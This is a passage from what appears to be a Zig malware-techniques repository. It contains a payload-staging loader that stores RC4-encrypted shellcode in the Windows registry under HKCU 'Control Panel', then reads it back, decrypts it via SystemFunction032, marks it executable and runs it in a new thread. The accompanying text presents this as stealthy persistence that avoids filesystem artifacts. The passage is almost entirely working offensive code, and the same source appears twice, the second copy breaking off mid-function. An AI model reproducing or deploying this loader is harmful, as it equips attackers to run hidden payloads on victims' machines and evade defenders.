    var bytes: ?PBYTE = null;

    // Reading the payload
    if (getPayloadFromUrl(PAYLOAD, &bytes, &size) == 0) {
        std.process.exit(1);
    }

    // Ensure we free the memory when done
    defer if (bytes) |b| {
        _ = LocalFree(b);
    };

    print("[i] Bytes : 0x{X} \n", .{@intFromPtr(bytes.?)});
    print("[i] Size  : {d} \n", .{size});

    // Printing it
    const payload_bytes = @as([*]u8, @ptrCast(bytes.?))[0..size];
    for (payload_bytes, 0..) |byte, i| {
        if (i % 16 == 0) {
            print("\n\t", .{});
        }
        print("{X:0>2} ", .{byte});
    }
    print("\n\n", .{});

    print("[#] Press <Enter> To Quit ... ", .{});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

```

## /src/Malware-Techniques/Payload-Staging/windows_registry.md

# Using Windows Registry

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Payload-Staging/windows_registry)
Another staging mechanism is to hide the payload inside the Windows Registry.
Malware can write encrypted shellcode to a registry value and later read it back
when execution is desired. Because registry entries are less scrutinized than
files on disk, this method provides a stealthy form of persistence. The example
offers both write and read modes, demonstrating how to store the payload under a
selected key and then execute it from memory. Leveraging the registry in this
way allows attackers to avoid leaving obvious artifacts on the filesystem.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
const kernel32 = windows.kernel32;

// Uncomment one of the following to enable the read/write mode
const WRITEMODE = true; // Changed to false for READ MODE
const READMODE = !WRITEMODE; // Changed to true for READ MODE

// I/O registry key to read/write
const REGISTRY = "Control Panel";
const REGSTRING = "Black-Hat-Zig";

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const PVOID = *anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
const LSTATUS = i32;
const NTSTATUS = i32;

// Registry constants
const HKEY_CURRENT_USER = @as(windows.HKEY, @ptrFromInt(0x80000001));
const KEY_SET_VALUE = 0x0002;
const REG_BINARY = 3;
const RRF_RT_ANY = 0x0000FFFF;
const ERROR_SUCCESS = 0;

// Memory constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;
const HEAP_ZERO_MEMORY = 0x00000008;

// USTRING structure for SystemFunction032
const USTRING = extern struct {
    Length: DWORD,
    MaximumLength: DWORD,
    Buffer: PVOID,
};

// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn GetProcessHeap() callconv(.C) HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: LPVOID) callconv(.C) BOOL;
extern "kernel32" fn VirtualAlloc(lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn VirtualProtect(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: *const fn (?LPVOID) callconv(.C) DWORD, lpParameter: ?LPVOID, dwCreationFlags: DWORD, lpThreadId: ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(.C) ?HANDLE;
extern "kernel32" fn GetProcAddress(hModule: HANDLE, lpProcName: [*:0]const u8) callconv(.C) ?*anyopaque;

extern "advapi32" fn RegOpenKeyExA(hKey: windows.HKEY, lpSubKey: [*:0]const u8, ulOptions: DWORD, samDesired: DWORD, phkResult: *windows.HKEY) callconv(.C) LSTATUS;
extern "advapi32" fn RegSetValueExA(hKey: windows.HKEY, lpValueName: [*:0]const u8, Reserved: DWORD, dwType: DWORD, lpData: [*]const u8, cbData: DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegGetValueA(hKey: windows.HKEY, lpSubKey: ?[*:0]const u8, lpValue: [*:0]const u8, dwFlags: DWORD, pdwType: ?*DWORD, pvData: ?LPVOID, pcbData: *DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegCloseKey(hKey: windows.HKEY) callconv(.C) LSTATUS;

// Helper function to wait for Enter key
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

const fnSystemFunction032 = fn (
    Data: *USTRING,
    Key: *USTRING,
) callconv(.C) NTSTATUS;

/// Helper function that calls SystemFunction032 (RC4)
/// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
pub fn rc4EncryptionViaSystemFunc032(
    rc4Key: []u8,
    payloadData: []u8,
) bool {
    // Prepare the USTRING structs
    var Data = USTRING{
        .Buffer = payloadData.ptr,
        .Length = @intCast(payloadData.len),
        .MaximumLength = @intCast(payloadData.len),
    };
    var Key = USTRING{
        .Buffer = rc4Key.ptr,
        .Length = @intCast(rc4Key.len),
        .MaximumLength = @intCast(rc4Key.len),
    };

    // Convert "Advapi32" to UTF-16LE for LoadLibraryW
    const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32");
    const advapi32 = kernel32.LoadLibraryW(advapi32_w);
    if (advapi32 == null) {
        std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }
    defer _ = kernel32.FreeLibrary(advapi32.?);

    const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032");
    if (proc_addr == null) {
        std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }

    const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr);

    const status: NTSTATUS = SystemFunction032(&Data, &Key);

    if (status != 0) {
        std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status});
        return false;
    }
    return true;
}

// RC4 key - CHANGED: Made it a var so we can create a mutable copy
var RC4_KEY = [_]u8{
    0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A,
};

// Msfvenom x64 calc shellcode encrypted by HellShell [RC4]
const RC4_CIPHER_TEXT = [_]u8{
    0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97,
    0x01, 0xD4, 0x45, 0x48, 0x65, 0xAA, 0x64, 0xD1, 0x04, 0xA1, 0xEB, 0xDF, 0x6E, 0x3C, 0x86, 0xDF,
    0x53, 0x89, 0xD4, 0x33, 0x87, 0x09, 0x9D, 0xF5, 0xB0, 0x25, 0xA3, 0xB0, 0xFA, 0x47, 0xA1, 0x8B,
    0x54, 0x36, 0x5D, 0x2A, 0x12, 0x6D, 0x9D, 0xCC, 0x37, 0x1B, 0x44, 0x4D, 0x1C, 0xD2, 0x0B, 0x26,
    0x41, 0xC8, 0x55, 0x14, 0xBD, 0x0A, 0xEF, 0x93, 0x3A, 0x4B, 0xA2, 0x3D, 0xF9, 0x67, 0x6E, 0xB4,
    0x68, 0x66, 0x44, 0xE2, 0x5D, 0xC9, 0xE6, 0xF7, 0xE9, 0x99, 0x68, 0x5E, 0x5E, 0xB0, 0x5E, 0xDE,
    0xB6, 0xF6, 0x66, 0x85, 0xF5, 0xEA, 0xA1, 0xB4, 0x4C, 0xF9, 0x70, 0xF4, 0xA2, 0x65, 0x33, 0xBD,
    0x5F, 0xD6, 0x55, 0x1A, 0x96, 0x51, 0x59, 0xE7, 0x13, 0x04, 0x10, 0x27, 0x46, 0x41, 0xBB, 0x1A,
    0xBC, 0x31, 0x46, 0x6E, 0x74, 0x72, 0x6D, 0x3F, 0xFE, 0x46, 0x1D, 0x55, 0x84, 0xA6, 0x24, 0x04,
    0x3B, 0xE1, 0x16, 0x21, 0x1F, 0xFA, 0xA4, 0x4E, 0x34, 0x91, 0x02, 0x55, 0x2B, 0xE1, 0xAD, 0xD3,
    0x7B, 0x52, 0xE8, 0xF3, 0xBF, 0x25, 0x17, 0xD9, 0x1B, 0xB7, 0x75, 0x01, 0x35, 0xF2, 0x5C, 0x94,
    0xA6, 0xCF, 0x92, 0xA1, 0x09, 0x23, 0x9C, 0x66, 0x73, 0x5E, 0x1A, 0xC5, 0xBD, 0xE2, 0x78, 0x60,
    0x9F, 0xC9, 0xF5, 0xFD, 0xE4, 0xD3, 0x02, 0x8F, 0x10, 0x11, 0x62, 0xFD, 0x0E, 0x80, 0xD3, 0x2E,
    0x87, 0x73, 0xB1, 0x9A, 0x75, 0xA6, 0x49, 0x1C, 0x8E, 0x2F, 0x6C, 0x28, 0xB6, 0xB8, 0x09, 0x18,
    0x71, 0x73, 0x7D, 0x97, 0x97, 0x67, 0xEF, 0xA5, 0x8D, 0x07, 0xD6, 0xDB, 0x43, 0x1F, 0x03, 0x31,
    0x6E, 0x91, 0x87, 0x9A, 0xDC, 0x12, 0xE7, 0x3C, 0xBA, 0x94, 0x79, 0xA7, 0x19, 0xAF, 0xBB, 0xE5,
    0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE,
};

// Function that reads the payload from the registry key
fn readShellcodeFromRegistry() ![]u8 {
    var dw_bytes_read: DWORD = 0;

    // Fetching the payload's size
    var status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, null, &dw_bytes_read);
    if (status != ERROR_SUCCESS) {
        print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
        return error.RegGetValueFailed;
    }

    // Allocating heap that will store the payload that will be read
    const p_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dw_bytes_read) orelse {
        print("[!] HeapAlloc Failed With Error : {d}\n", .{GetLastError()});
        return error.HeapAllocFailed;
    };

    // Reading the payload from "REGISTRY" key, from value "REGSTRING"
    status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, p_bytes, &dw_bytes_read);
    if (status != ERROR_SUCCESS) {
        print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
        _ = HeapFree(GetProcessHeap(), 0, p_bytes);
        return error.RegGetValueFailed;
    }

    return @as([*]u8, @ptrCast(p_bytes))[0..dw_bytes_read];
}

// Function that writes the payload to the registry key
fn writeShellcodeToRegistry(shellcode: []const u8) !void {
    var h_key: windows.HKEY = undefined;

    print("[i] Writing 0x{X} [ Size: {d} ] to \"{s}\\{s}\" ... \n", .{ @intFromPtr(shellcode.ptr), shellcode.len, REGISTRY, REGSTRING });

    // Opening handle to "REGISTRY" registry key
    var status = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &h_key);
    if (status != ERROR_SUCCESS) {
        print("[!] RegOpenKeyExA Failed With Error : {d}\n", .{status});
        return error.RegOpenKeyFailed;
    }
    defer _ = RegCloseKey(h_key);

    // Creating string value "REGSTRING" and writing the payload to it as a binary value
    status = RegSetValueExA(h_key, REGSTRING, 0, REG_BINARY, shellcode.ptr, @intCast(shellcode.len));
    if (status != ERROR_SUCCESS) {
        print("[!] RegSetValueExA Failed With Error : {d}\n", .{status});
        return error.RegSetValueFailed;
    }

    print("[+] DONE ! \n", .{});
}

// Local shellcode execution
fn runShellcode(decrypted_shellcode: []const u8) !void {
    const shellcode_address = VirtualAlloc(null, decrypted_shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
        print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualAllocFailed;
    };

    print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});

    @memcpy(@as([*]u8, @ptrCast(shellcode_address))[0..decrypted_shellcode.len], decrypted_shellcode);

    var old_protection: DWORD = 0;
    if (VirtualProtect(shellcode_address, decrypted_shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualProtectFailed;
    }

    print("[#] Press <Enter> To Run ... ", .{});
    waitForEnter();

    const thread_handle = CreateThread(null, 0, @ptrCast(shellcode_address), null, 0, null) orelse {
        print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
        return error.CreateThreadFailed;
    };

    _ = thread_handle;
}

pub fn main() !void {
    if (comptime WRITEMODE) {
        // Write the shellcode to the registry
        print("[#] Press <Enter> To Write The Shellcode To The Registry...", .{});
        waitForEnter();

        writeShellcodeToRegistry(&RC4_CIPHER_TEXT) catch |err| {
            print("[!] Failed to write shellcode to registry: {}\n", .{err});
            std.process.exit(1);
        };
    }

    if (comptime READMODE) {
        print("[#] Press <Enter> To Read The Shellcode From The Registry...", .{});
        waitForEnter();

        // Read the shellcode
        print("[i] Reading Shellcode ... \n", .{});
        const payload_bytes = readShellcodeFromRegistry() catch |err| {
            print("[!] Failed to read shellcode from registry: {}\n", .{err});
            std.process.exit(1);
        };
        defer _ = HeapFree(GetProcessHeap(), 0, @ptrCast(payload_bytes.ptr));

        print("[+] DONE \n", .{});
        print("[+] Payload Of Size [{d}] Read At : 0x{X} \n", .{ payload_bytes.len, @intFromPtr(payload_bytes.ptr) });

        // Decrypting the shellcode
        print("[#] Press <Enter> To Decrypt The Shellcode ...", .{});
        waitForEnter();
        print("[i] Decrypting Shellcode ... \n", .{});

        // FIXED: Pass RC4_KEY as a slice instead of pointer to array
        if (!rc4EncryptionViaSystemFunc032(RC4_KEY[0..], payload_bytes)) {
            print("[!] Failed to decrypt shellcode\n", .{});
            std.process.exit(1);
        }

        print("[+] DONE \n", .{});

        // Running the shellcode
        runShellcode(payload_bytes) catch |err| {
            print("[!] Failed to execute shellcode: {}\n", .{err});
            std.process.exit(1);
        };
    }

    print("[#] Press <Enter> To Quit ...", .{});
    waitForEnter();
}
```


## /src/Malware-Techniques/Payload-Staging/windows_registry/build.zig

```zig path="/src/Malware-Techniques/Payload-Staging/windows_registry/build.zig" 
const std = @import("std");

pub fn build(b: *std.Build) void {
        const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });
        const optimize = b.standardOptimizeOption(.{});

    const exe = b.addExecutable(.{
        .name = "windows_registry",
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    b.installArtifact(exe);

    const run_cmd = b.addRunArtifact(exe);
    run_cmd.step.dependOn(b.getInstallStep());
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_tests = b.addTest(.{
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    const run_exe_tests = b.addRunArtifact(exe_tests);
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_tests.step);
}

```

## /src/Malware-Techniques/Payload-Staging/windows_registry/build.zig.zon

```zon path="/src/Malware-Techniques/Payload-Staging/windows_registry/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .windows_registry,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0xe6a4fe827f3ecaeb, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Payload-Staging/windows_registry/src/main.zig

```zig path="/src/Malware-Techniques/Payload-Staging/windows_registry/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;
const kernel32 = windows.kernel32;

// Uncomment one of the following to enable the read/write mode
const WRITEMODE = true; // Changed to false for READ MODE
const READMODE = !WRITEMODE; // Changed to true for READ MODE

// I/O registry key to read/write
const REGISTRY = "Control Panel";
const REGSTRING = "Black-Hat-Zig";

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const PVOID = *anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
const LSTATUS = i32;
const NTSTATUS = i32;

// Registry constants
const HKEY_CURRENT_USER = @as(windows.HKEY, @ptrFromInt(0x80000001));
const KEY_SET_VALUE = 0x0002;
const REG_BINARY = 3;
const RRF_RT_ANY = 0x0000FFFF;
const ERROR_SUCCESS = 0;

// Memory constants
const MEM_COMMIT = 0x1000;
const MEM_RESERVE = 0x2000;
const PAGE_READWRITE = 0x04;
const PAGE_EXECUTE_READWRITE = 0x40;
const HEAP_ZERO_MEMORY = 0x00000008;

// USTRING structure for SystemFunction032
const USTRING = extern struct {
    Length: DWORD,
    MaximumLength: DWORD,
    Buffer: PVOID,
};

// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn GetProcessHeap() callconv(.C) HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: HANDLE, dwFlags: DWORD, dwBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn HeapFree(hHeap: HANDLE, dwFlags: DWORD, lpMem: LPVOID) callconv(.C) BOOL;
extern "kernel32" fn VirtualAlloc(lpAddress: ?LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn VirtualProtect(lpAddress: LPVOID, dwSize: SIZE_T, flNewProtect: DWORD, lpflOldProtect: *DWORD) callconv(.C) BOOL;
extern "kernel32" fn CreateThread(lpThreadAttributes: ?*anyopaque, dwStackSize: SIZE_T, lpStartAddress: *const fn (?LPVOID) callconv(.C) DWORD, lpParameter: ?LPVOID, dwCreationFlags: DWORD, lpThreadId: ?*DWORD) callconv(.C) ?HANDLE;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(.C) ?HANDLE;
extern "kernel32" fn GetProcAddress(hModule: HANDLE, lpProcName: [*:0]const u8) callconv(.C) ?*anyopaque;

extern "advapi32" fn RegOpenKeyExA(hKey: windows.HKEY, lpSubKey: [*:0]const u8, ulOptions: DWORD, samDesired: DWORD, phkResult: *windows.HKEY) callconv(.C) LSTATUS;
extern "advapi32" fn RegSetValueExA(hKey: windows.HKEY, lpValueName: [*:0]const u8, Reserved: DWORD, dwType: DWORD, lpData: [*]const u8, cbData: DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegGetValueA(hKey: windows.HKEY, lpSubKey: ?[*:0]const u8, lpValue: [*:0]const u8, dwFlags: DWORD, pdwType: ?*DWORD, pvData: ?LPVOID, pcbData: *DWORD) callconv(.C) LSTATUS;
extern "advapi32" fn RegCloseKey(hKey: windows.HKEY) callconv(.C) LSTATUS;

// Helper function to wait for Enter key
fn waitForEnter() void {
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}

const fnSystemFunction032 = fn (
    Data: *USTRING,
    Key: *USTRING,
) callconv(.C) NTSTATUS;

/// Helper function that calls SystemFunction032 (RC4)
/// Reference: https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
pub fn rc4EncryptionViaSystemFunc032(
    rc4Key: []u8,
    payloadData: []u8,
) bool {
    // Prepare the USTRING structs
    var Data = USTRING{
        .Buffer = payloadData.ptr,
        .Length = @intCast(payloadData.len),
        .MaximumLength = @intCast(payloadData.len),
    };
    var Key = USTRING{
        .Buffer = rc4Key.ptr,
        .Length = @intCast(rc4Key.len),
        .MaximumLength = @intCast(rc4Key.len),
    };

    // Convert "Advapi32" to UTF-16LE for LoadLibraryW
    const advapi32_w = std.unicode.utf8ToUtf16LeStringLiteral("Advapi32");
    const advapi32 = kernel32.LoadLibraryW(advapi32_w);
    if (advapi32 == null) {
        std.debug.print("[!] LoadLibraryW failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }
    defer _ = kernel32.FreeLibrary(advapi32.?);

    const proc_addr = kernel32.GetProcAddress(advapi32.?, "SystemFunction032");
    if (proc_addr == null) {
        std.debug.print("[!] GetProcAddress failed: {}\n", .{kernel32.GetLastError()});
        return false;
    }

    const SystemFunction032: *const fnSystemFunction032 = @ptrCast(proc_addr);

    const status: NTSTATUS = SystemFunction032(&Data, &Key);

    if (status != 0) {
        std.debug.print("[!] SystemFunction032 FAILED With Error: 0x{X:0>8}\n", .{status});
        return false;
    }
    return true;
}

// RC4 key - CHANGED: Made it a var so we can create a mutable copy
var RC4_KEY = [_]u8{
    0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A,
};

// Msfvenom x64 calc shellcode encrypted by HellShell [RC4]
const RC4_CIPHER_TEXT = [_]u8{
    0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97,
    0x01, 0xD4, 0x45, 0x48, 0x65, 0xAA, 0x64, 0xD1, 0x04, 0xA1, 0xEB, 0xDF, 0x6E, 0x3C, 0x86, 0xDF,
    0x53, 0x89, 0xD4, 0x33, 0x87, 0x09, 0x9D, 0xF5, 0xB0, 0x25, 0xA3, 0xB0, 0xFA, 0x47, 0xA1, 0x8B,
    0x54, 0x36, 0x5D, 0x2A, 0x12, 0x6D, 0x9D, 0xCC, 0x37, 0x1B, 0x44, 0x4D, 0x1C, 0xD2, 0x0B, 0x26,
    0x41, 0xC8, 0x55, 0x14, 0xBD, 0x0A, 0xEF, 0x93, 0x3A, 0x4B, 0xA2, 0x3D, 0xF9, 0x67, 0x6E, 0xB4,
    0x68, 0x66, 0x44, 0xE2, 0x5D, 0xC9, 0xE6, 0xF7, 0xE9, 0x99, 0x68, 0x5E, 0x5E, 0xB0, 0x5E, 0xDE,
    0xB6, 0xF6, 0x66, 0x85, 0xF5, 0xEA, 0xA1, 0xB4, 0x4C, 0xF9, 0x70, 0xF4, 0xA2, 0x65, 0x33, 0xBD,
    0x5F, 0xD6, 0x55, 0x1A, 0x96, 0x51, 0x59, 0xE7, 0x13, 0x04, 0x10, 0x27, 0x46, 0x41, 0xBB, 0x1A,
    0xBC, 0x31, 0x46, 0x6E, 0x74, 0x72, 0x6D, 0x3F, 0xFE, 0x46, 0x1D, 0x55, 0x84, 0xA6, 0x24, 0x04,
    0x3B, 0xE1, 0x16, 0x21, 0x1F, 0xFA, 0xA4, 0x4E, 0x34, 0x91, 0x02, 0x55, 0x2B, 0xE1, 0xAD, 0xD3,
    0x7B, 0x52, 0xE8, 0xF3, 0xBF, 0x25, 0x17, 0xD9, 0x1B, 0xB7, 0x75, 0x01, 0x35, 0xF2, 0x5C, 0x94,
    0xA6, 0xCF, 0x92, 0xA1, 0x09, 0x23, 0x9C, 0x66, 0x73, 0x5E, 0x1A, 0xC5, 0xBD, 0xE2, 0x78, 0x60,
    0x9F, 0xC9, 0xF5, 0xFD, 0xE4, 0xD3, 0x02, 0x8F, 0x10, 0x11, 0x62, 0xFD, 0x0E, 0x80, 0xD3, 0x2E,
    0x87, 0x73, 0xB1, 0x9A, 0x75, 0xA6, 0x49, 0x1C, 0x8E, 0x2F, 0x6C, 0x28, 0xB6, 0xB8, 0x09, 0x18,
    0x71, 0x73, 0x7D, 0x97, 0x97, 0x67, 0xEF, 0xA5, 0x8D, 0x07, 0xD6, 0xDB, 0x43, 0x1F, 0x03, 0x31,
    0x6E, 0x91, 0x87, 0x9A, 0xDC, 0x12, 0xE7, 0x3C, 0xBA, 0x94, 0x79, 0xA7, 0x19, 0xAF, 0xBB, 0xE5,
    0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE,
};

// Function that reads the payload from the registry key
fn readShellcodeFromRegistry() ![]u8 {
    var dw_bytes_read: DWORD = 0;

    // Fetching the payload's size
    var status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, null, &dw_bytes_read);
    if (status != ERROR_SUCCESS) {
        print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
        return error.RegGetValueFailed;
    }

    // Allocating heap that will store the payload that will be read
    const p_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dw_bytes_read) orelse {
        print("[!] HeapAlloc Failed With Error : {d}\n", .{GetLastError()});
        return error.HeapAllocFailed;
    };

    // Reading the payload from "REGISTRY" key, from value "REGSTRING"
    status = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, null, p_bytes, &dw_bytes_read);
    if (status != ERROR_SUCCESS) {
        print("[!] RegGetValueA Failed With Error : {d}\n", .{status});
        _ = HeapFree(GetProcessHeap(), 0, p_bytes);
        return error.RegGetValueFailed;
    }

    return @as([*]u8, @ptrCast(p_bytes))[0..dw_bytes_read];
}

// Function that writes the payload to the registry key
fn writeShellcodeToRegistry(shellcode: []const u8) !void {
    var h_key: windows.HKEY = undefined;

    print("[i] Writing 0x{X} [ Size: {d} ] to \"{s}\\{s}\" ... \n", .{ @intFromPtr(shellcode.ptr), shellcode.len, REGISTRY, REGSTRING });

    // Opening handle to "REGISTRY" registry key
    var status = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &h_key);
    if (status != ERROR_SUCCESS) {
        print("[!] RegOpenKeyExA Failed With Error : {d}\n", .{status});
        return error.RegOpenKeyFailed;
    }
    defer _ = RegCloseKey(h_key);

    // Creating string value "REGSTRING" and writing the payload to it as a binary value
    status = RegSetValueExA(h_key, REGSTRING, 0, REG_BINARY, shellcode.ptr, @intCast(shellcode.len));
    if (status != ERROR_SUCCESS) {
        print("[!] RegSetValueExA Failed With Error : {d}\n", .{status});
        return error.RegSetValueFailed;
    }

    print("[+] DONE ! \n", .{});
}

// Local shellcode execution
fn runShellcode(decrypted_shellcode: []const u8) !void {
    const shellcode_address = VirtualAlloc(null, decrypted_shellcode.len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) orelse {
        print("[!] VirtualAlloc Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualAllocFailed;
    };

    print("[i] Allocated Memory At : 0x{X} \n", .{@intFromPtr(shellcode_address)});

    @memcpy(@as([*]u8, @ptrCast(shellcode_address))[0..decrypted_shellcode.len], decrypted_shellcode);

    var old_protection: DWORD = 0;
    if (VirtualProtect(shellcode_address, decrypted_shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
        print("[!] VirtualProtect Failed With Error : {d} \n", .{GetLastError()});
        return error.VirtualProtectFailed;
    }

    print("[#] Press <Enter> To Run ... ", .{});
    waitForEnter();

    const thread_handle = CreateThread(null, 0, @ptrCast(shellcode_address), null, 0, null) orelse {
        print("[!] CreateThread Failed With Error : {d} \n", .{GetLastError()});
        return error.CreateThreadFailed;
    };

